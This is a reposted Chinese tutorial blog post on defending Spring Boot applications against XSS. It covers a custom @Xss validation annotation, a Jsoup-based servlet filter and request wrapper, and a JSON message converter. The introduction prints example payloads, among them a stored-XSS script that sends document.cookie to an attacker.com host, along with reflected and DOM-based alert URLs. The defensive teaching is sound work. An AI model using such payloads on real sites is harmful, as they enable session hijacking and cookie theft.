0


SpringBoot实战:轻松实现XSS攻击防御(注解和过滤器)

文章目录

在这里插入图片描述

引言

随着Web应用的普及,网络安全问题也日益凸显。跨站脚本攻击(Cross-Site Scripting,简称XSS)是一种常见的Web安全漏洞,它允许攻击者将恶意脚本注入到其他用户浏览和使用的正常网页中。当其他用户浏览这些网页时,恶意脚本就会在他们的浏览器上执行,从而可能导致信息泄露、会话劫持等严重后果。XSS攻击的普遍性和潜在危害性使其成为Web应用安全中不可忽视的一部分。

本文旨在探讨如何在Spring Boot应用程序中有效地防御XSS攻击。我们将介绍两种主要的防御手段:注解和过滤器。通过这两种方式,开发者可以轻松地在Spring Boot应用中实现XSS攻击的防御,从而保障用户的数据安全和应用的稳定运行。

一、XSS攻击概述

XSS攻击,全称为跨站脚本攻击(Cross-Site Scripting),是一种常见的网络攻击手段。它主要利用了Web应用程序对用户输入验证的不足,允许攻击者将恶意脚本注入到其他用户浏览的网页中。

1.1 XSS攻击的定义

XSS攻击是指攻击者在Web页面的输入数据中插入恶意脚本,当其他用户浏览该页面时,这些脚本就会在用户的浏览器上执行。由于脚本是在受害用户的上下文中执行的,因此它可以访问该用户的所有会话信息和权限,从而可能导致信息泄露、会话劫持、恶意操作等安全风险。

1.2 XSS攻击的类型

XSS攻击主要分为以下三种类型:

  1. 存储型XSS(Persistent XSS):恶意脚本被永久存储在目标服务器上,如数据库、消息论坛、访客留言等,当用户访问相应的网页时,恶意脚本就会执行。
  2. 反射型XSS(Reflected XSS):恶意脚本并不存储在目标服务器上,而是通过诸如URL参数的方式直接在请求响应中反射并执行。这种类型的攻击通常是通过诱使用户点击链接或访问特定的URL来实施的。
  3. 基于DOM的XSS(DOM-based XSS):这种类型的XSS攻击完全发生在客户端,不需要服务器的参与。它通过恶意脚本修改页面的DOM结构,实现攻击。

1.3 XSS攻击的攻击原理及示例

XSS攻击的基本原理是利用Web应用程序对用户输入的信任,将恶意脚本注入到响应中。当其他用户访问包含恶意脚本的页面时,脚本会在他们的浏览器中执行。

可以参考:前端安全系列(一):如何防止XSS攻击? - 美团技术团队 (meituan.com)

示例:

  1. 存储型XSS攻击:

攻击者在一个博客评论系统中提交以下评论:

<script>
  document.location='http://attacker.com/steal.php?cookie='+document.cookie;</script>

当其他用户查看这条评论时,他们的cookie会被发送到攻击者的服务器。

  1. 反射型XSS攻击:

攻击者构造一个恶意URL:

http://example.com/search?q=<script>alert('XSS')</script>

如果服务器直接将搜索词嵌入到响应中而不进行过滤,用户点击此链接后会看到一个警告框。

  1. DOM型XSS攻击:

假设网页中有以下JavaScript代码:

var name = document.location.hash.substr(1);
document.write("欢迎, "+ name);

攻击者可以构造如下URL:

http://example.com/page.html#<script>alert('XSS')</script>

当用户访问此URL时,恶意脚本会被执行。

二、Spring Boot中的XSS防御手段

在Spring Boot中,我们可以采用多种方式来防御XSS攻击。下面将详细介绍两种常用的防御手段:使用注解和使用过滤器。

2.1 使用注解进行XSS防御

注解是一种轻量级的防御手段,它可以在方法或字段级别对输入进行校验,从而防止XSS攻击。

2.1.1 引入相关依赖

<!--JSR-303/JSR-380用于验证的注解 --><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-validation</artifactId><version>3.2.0</version></dependency>

2.1.2 使用@XSS注解进行参数校验

我们可以自定义一个@XSS注解,用于标记那些需要校验的参数。这里是一个简单的@XSS注解定义:

@Target(value ={ElementType.METHOD,ElementType.FIELD,ElementType.CONSTRUCTOR,ElementType.PARAMETER})@Retention(RetentionPolicy.RUNTIME)@Constraint(validatedBy =XssValidator.class)public@interfaceXss{Stringmessage()default"非法输入, 检测到潜在的XSS";Class<?>[]groups()default{};Class<?extendsPayload>[]payload()default{};}

2.1.3 实现自定义注解处理器

接下来,我们需要实现XSSValidator类,该类将负责检查输入是否包含潜在的XSS攻击脚本:

publicclassXssValidatorimplementsConstraintValidator<Xss,String>{/**
     * 使用自带的 basicWithImages 白名单
     */privatestaticfinalSafelistWHITE_LIST=Safelist.relaxed();/**
     * 定义输出设置,关闭prettyPrint(prettyPrint=false),目的是避免在清理过程中对代码进行格式化
     * 从而保持输入和输出内容的一致性。
     */privatestaticfinalDocument.OutputSettingsOUTPUT_SETTINGS=newDocument.OutputSettings().prettyPrint(false);/**
     * 验证输入值是否有效,即是否包含潜在的XSS攻击脚本。
     * 
     * @param value 输入值,需要进行XSS攻击脚本清理。
     * @param context 上下文对象,提供关于验证环境的信息,如验证失败时的错误消息定制。
     * @return 如果清理后的值与原始值相同,则返回true,表示输入值有效;否则返回false,表示输入值无效。
     */@OverridepublicbooleanisValid(String value,ConstraintValidatorContext context){// 使用Jsoup库对输入值进行清理,以移除潜在的XSS攻击脚本。// 使用预定义的白名单和输出设置来确保只保留安全的HTML元素和属性。String cleanedValue =Jsoup.clean(value,"",WHITE_LIST,OUTPUT_SETTINGS);// 比较清理后的值与原始值是否相同,用于判断输入值是否有效。return cleanedValue.equals(value);}}

2.1.4 使用注解

在要进行XSS防御的属性上添加注解:

@Data@Tag(name ="用户",description ="用户登录类")publicclassUserLoginDTO{@Xss@NotBlank(message ="账号不能为空")@Schema(name ="用户账号",type ="String")privateString userAccount;@Xss@Size(min =6, max =18, message ="用户密码长度需在6-18位")@Schema(name ="用户密码",type ="String")privateString password;@Xss@NotBlank(message ="邮箱验证码内容不能为空")@Schema(name ="邮箱验证码",type ="String")privateString emailCaptcha;}

Controller

中的接口添加

@Validated

注解:

@PostMapping("/test2")publicResult<String>login(@RequestBody@ValidatedUserLoginDTO userLoginDTO){returnResult.success();}

2.2 使用过滤器进行XSS防御

2.2.1 引入相关依赖

<!-- Jsoup依赖 --><dependency><groupId>org.jsoup</groupId><artifactId>jsoup</artifactId><version>1.17.2</version></dependency>

2.2.2 编写配置类

/**
 * 跨站脚本(XSS)过滤配置类。
 */@Data@Component@ConfigurationProperties(prefix ="xss")publicclassFilterConfig{/**
     * 是否启用XSS过滤。
     */privateString enabled;/**
     * 需要排除的URL模式,这些URL不会进行XSS过滤。
     */privateString excludes;/**
     * 需要应用XSS过滤的URL模式。
     */privateString urlPatterns;/**
     * 注册XSS过滤器。
     *
     * @return FilterRegistrationBean 用于注册过滤器的bean。
     */@BeanpublicFilterRegistrationBeanxssFilterRegistration(){FilterRegistrationBean registrationBean =newFilterRegistrationBean();// 设置过滤器的分发类型为请求类型
        registrationBean.setDispatcherTypes(DispatcherType.REQUEST);// 创建XssFilter的实例
        registrationBean.setFilter(newXssFilter());// 添加过滤器需要拦截的URL模式,这些模式从配置文件中的"urlPatterns"属性读取
        registrationBean.addUrlPatterns(StringUtils.split(urlPatterns,","));// 设置过滤器的名称
        registrationBean.setName("XssFilter");// 设置过滤器的执行顺序,数值越小,优先级越高
        registrationBean.setOrder(9999);// 创建一个Map,用于存储过滤器的初始化参数Map<String,String> initParameters =newHashMap<>();// 将配置文件中的"excludes"属性设置到过滤器的初始化参数中
        initParameters.put("excludes", excludes);// 将配置文件中的"enabled"属性设置到过滤器的初始化参数中
        initParameters.put("enabled", enabled);// 将初始化参数设置到FilterRegistrationBean中
        registrationBean.setInitParameters(initParameters);// 返回FilterRegistrationBean,包含了XssFilter的配置信息return registrationBean;}}

2.2.3 修改配置文件

xss:enabled:trueexcludes:url-patterns: /*

2.2.4 创建XSSFilter类

importjakarta.servlet.*;importjakarta.servlet.http.HttpServletRequest;importjakarta.servlet.http.HttpServletResponse;importlombok.extern.slf4j.Slf4j;importorg.apache.commons.lang3.StringUtils;importjava.io.IOException;importjava.util.ArrayList;importjava.util.List;importjava.util.regex.Matcher;importjava.util.regex.Pattern;@Slf4jpublicclassXssFilterimplementsFilter{/**
     * 存储需要排除XSS过滤的URL模式列表。
     */privateList<String> excludes =newArrayList<>();/**
     * 是否启用XSS过滤的标志。
     */privateboolean enabled =false;/**
     * 初始化过滤器,从过滤器配置中读取排除列表和启用状态。
     *
     * @param filterConfig 过滤器配置对象。
     * @throws ServletException 如果初始化过程中出现错误。
     */@Overridepublicvoidinit(FilterConfig filterConfig)throwsServletException{String strExcludes = filterConfig.getInitParameter("excludes");String strEnabled = filterConfig.getInitParameter("enabled");//将不需要xss过滤的接口添加到列表中if(StringUtils.isNotEmpty(strExcludes)){String[] urls = strExcludes.split(",");for(String url : urls){
                excludes.add(url);}}if(StringUtils.isNotEmpty(strEnabled)){
            enabled =Boolean.valueOf(strEnabled);}}/**
     * 执行过滤逻辑,如果当前请求不在排除列表中,则通过XSS过滤器包装请求。
     *
     * @param request  HTTP请求对象。
     * @param response HTTP响应对象。
     * @param chain    过滤器链对象,用于继续或中断请求处理。
     * @throws IOException      如果处理过程中出现I/O错误。
     * @throws ServletException 如果处理过程中出现Servlet相关错误。
     */@OverridepublicvoiddoFilter(ServletRequest request,ServletResponse response,FilterChain chain)throwsIOException,ServletException{HttpServletRequest req =(HttpServletRequest) request;HttpServletResponse resp =(HttpServletResponse) response;//如果该访问接口在排除列表里面则不拦截if(isExcludeUrl(req.getServletPath())){
            chain.doFilter(request, response);return;}

        log.info("uri:{}", req.getRequestURI());// xss 过滤
        chain.doFilter(newXssWrapper(req), resp);}/**
     * 销毁过滤器,释放资源。
     */@Overridepublicvoiddestroy(){// 无需额外的销毁逻辑}/**
     * 判断当前请求的URL是否应该被排除在XSS过滤之外。
     *
     * @param urlPath 请求的URL路径。
     * @return 如果请求应该被排除,则返回true;否则返回false。
     */privatebooleanisExcludeUrl(String urlPath){if(!enabled){//如果xss开关关闭了,则所有url都不拦截returntrue;}if(excludes ==null|| excludes.isEmpty()){returnfalse;}String url = urlPath;for(String pattern : excludes){Pattern p =Pattern.compile("^"+ pattern);Matcher m = p.matcher(url);if(m.find()){returntrue;}}returnfalse;}}

2.2.5 编写过滤工具类

/**
 * XSS过滤工具类,使用Jsoup库对输入的字符串进行XSS攻击防护
 */publicclassXssUtil{/**
     * 使用自带的 basicWithImages 白名单
     */privatestaticfinalSafelistWHITE_LIST=Safelist.relaxed();/**
     * 定义输出设置,关闭prettyPrint(prettyPrint=false),目的是避免在清理过程中对代码进行格式化
     * 从而保持输入和输出内容的一致性。
     */privatestaticfinalDocument.OutputSettingsOUTPUT_SETTINGS=newDocument.OutputSettings().prettyPrint(false);/*
      初始化白名单策略,允许所有标签拥有style属性。
      这是因为在富文本编辑中,样式通常通过style属性来定义,需要确保这些样式能够被保留。
     */static{// 富文本编辑时一些样式是使用 style 来进行实现的// 比如红色字体 style="color:red;"// 所以需要给所有标签添加 style 属性WHITE_LIST.addAttributes(":all","style");}/**
     * 清理输入的字符串,移除潜在的XSS攻击代码。
     * 
     * @param content 待清理的字符串,通常是用户输入的HTML内容。
     * @return 清理后的字符串,保证不包含XSS攻击代码。
     */publicstaticStringclean(String content){// 使用定义好的白名单策略和输出设置清理输入的字符串returnJsoup.clean(content,"",WHITE_LIST,OUTPUT_SETTINGS);}}

2.2.6 编写XSSRequestWrapper类清理脚本

在XSSFilter类中,我们创建了一个新的

XSSRequestWrapper

类,该类继承自

HttpServletRequestWrapper

。在这个包装类中,我们将重写

getParameter

等方法,以清理请求参数中的潜在XSS脚本。

@Slf4jpublicclassXssWrapperextendsHttpServletRequestWrapper{/**
     * Constructs a request object wrapping the given request.
     *
     * @param request The request to wrap
     * @throws IllegalArgumentException if the request is null
     */publicXssWrapper(HttpServletRequest request){super(request);
        log.info("XssWrapper");}/**
     * 对数组参数进行特殊字符过滤
     */@OverridepublicString[]getParameterValues(String name){String[] values =super.getParameterValues(name);if(values ==null){returnnull;}int count = values.length;String[] encodedValues =newString[count];for(int i =0; i < count; i++){
            encodedValues[i]=cleanXSS(values[i]);}return encodedValues;}/**
     * 对参数中特殊字符进行过滤
     */@OverridepublicStringgetParameter(String name){String value =super.getParameter(name);if(StrUtil.isBlank(value)){return value;}returncleanXSS(value);}/**
     * 获取attribute,特殊字符过滤
     */@OverridepublicObjectgetAttribute(String name){Object value =super.getAttribute(name);if(value instanceofString&&StrUtil.isNotBlank((String) value)){returncleanXSS((String) value);}return value;}/**
     * 对请求头部进行特殊字符过滤
     */@OverridepublicStringgetHeader(String name){String value =super.getHeader(name);if(StrUtil.isBlank(value)){return value;}returncleanXSS(value);}/**
     * 清理输入的字符串以防止XSS攻击
     *
     * @param value 待清理的字符串,通常为用户输入或来自不可信源的数据。
     * @return 清理后的字符串,移除了可能的XSS攻击代码。
     */privateStringcleanXSS(String value){returnXssUtil.clean(value);}}

2.2.7 自定义json消息解析器

在使用springboot中,类似于普通的参数parameter,attribute,header一类的,可以直接使用过滤器来过滤。而前端发送回来的json字符串就没那么方便过滤了。可以考虑用自定义json消息解析器来过滤前端传递的json。

可以参考文章:Springboot 过滤json中的特殊字符,避免xss攻击 | Cyckerr

/**
 * 在读取和写入JSON数据时特殊字符避免xss攻击的消息解析器
 *
 */publicclassXSSMappingJackson2HttpMessageConverterextendsMappingJackson2HttpMessageConverter{/**
     * 从HTTP输入消息中读取对象,同时应用XSS防护。
     * 
     * @param type        类型令牌,表示要读取的对象类型。
     * @param contextClass    上下文类,提供类型解析的上下文信息。
     * @param inputMessage HTTP输入消息,包含要读取的JSON数据。
     * @return 从输入消息中解析出的对象,经过XSS防护处理。
     * @throws IOException 如果发生I/O错误。
     * @throws HttpMessageNotReadableException 如果消息无法读取。
     */@OverridepublicObjectread(Type type,Class contextClass,HttpInputMessage inputMessage)throwsIOException,HttpMessageNotReadableException{JavaType javaType =getJavaType(type, contextClass);Object obj =readJavaType(javaType, inputMessage);//得到请求jsonString json =super.getObjectMapper().writeValueAsString(obj);//过滤特殊字符String result =XssUtil.clean(json);Object resultObj =super.getObjectMapper().readValue(result, javaType);return resultObj;}/**
     * 从HTTP输入消息中读取指定Java类型的对象,内部使用。
     * 
     * @param javaType    要读取的对象的Java类型。
     * @param inputMessage HTTP输入消息,包含要读取的JSON数据。
     * @return 从输入消息中解析出的对象。
     * @throws IOException 如果发生I/O错误。
     * @throws HttpMessageNotReadableException 如果消息无法读取。
     */privateObjectreadJavaType(JavaType javaType,HttpInputMessage inputMessage){try{returnsuper.getObjectMapper().readValue(inputMessage.getBody(), javaType);}catch(IOException ex){thrownewHttpMessageNotReadableException("Could not read JSON: "+ ex.getMessage(), ex);}}/**
     * 将对象写入HTTP输出消息,同时应用XSS防护。
     * 
     * @param object 要写入的对象。
     * @param outputMessage HTTP输出消息,对象将被序列化为JSON并写入此消息。
     * @throws IOException 如果发生I/O错误。
     * @throws HttpMessageNotWritableException 如果消息无法写入。
     */@OverrideprotectedvoidwriteInternal(Object object,HttpOutputMessage outputMessage)throwsIOException,HttpMessageNotWritableException{//得到要输出的jsonString json =super.getObjectMapper().writeValueAsString(object);//过滤特殊字符String result =XssUtil.clean(json);// 输出
        outputMessage.getBody().write(result.getBytes());}}

然后在启动类添加:

@BeanpublicHttpMessageConvertersxssHttpMessageConverters(){XSSMappingJackson2HttpMessageConverter xssMappingJackson2HttpMessageConverter =newXSSMappingJackson2HttpMessageConverter();HttpMessageConverter converter = xssMappingJackson2HttpMessageConverter;returnnewHttpMessageConverters(converter);}

三、测试

3.1 XSS注解:

如果不符合规则的字符(例如

<script>alert('XSS');</script>

)会提示

非法输入,检测到潜在的XSS

,可以看到下面的返回参数中的message已经变为默认警告。

image-20240705161416130

3.2 XSS过滤器

XSS过滤器实现的效果是过滤,将前端传递参数进行清理,达到XSS防御的目的。

观察下面的测试结果可以知道过滤器成功实现参数清理。

image-20240705184611821

image-20240705184627058

四、总结

本文深入探讨了在Spring Boot应用程序中如何有效地防御XSS攻击。我们介绍了两种主要的防御手段:使用注解和使用过滤器。通过这两种方式,开发者可以轻松地在Spring Boot应用中实现XSS攻击的防御,从而保障用户的数据安全和应用的稳定运行,希望对大家有所帮助😊。


参考文章:

SpringBoot 增加 XSS 跨站脚本攻击防护 | 小决的专栏 (jueee.github.io)

对xss攻击的防御 j · 看云 (kancloud.cn)

自定义注解XSS注解

Springboot 过滤json中的特殊字符,避免xss攻击 | Cyckerr

在这里插入图片描述

标签: spring boot xss 后端

本文转载自: https://blog.csdn.net/weixin_73588491/article/details/140216853
版权归原作者 詩筠 所有, 如有侵权,请联系我们删除。

“SpringBoot实战:轻松实现XSS攻击防御(注解和过滤器)”的评论:

还没有评论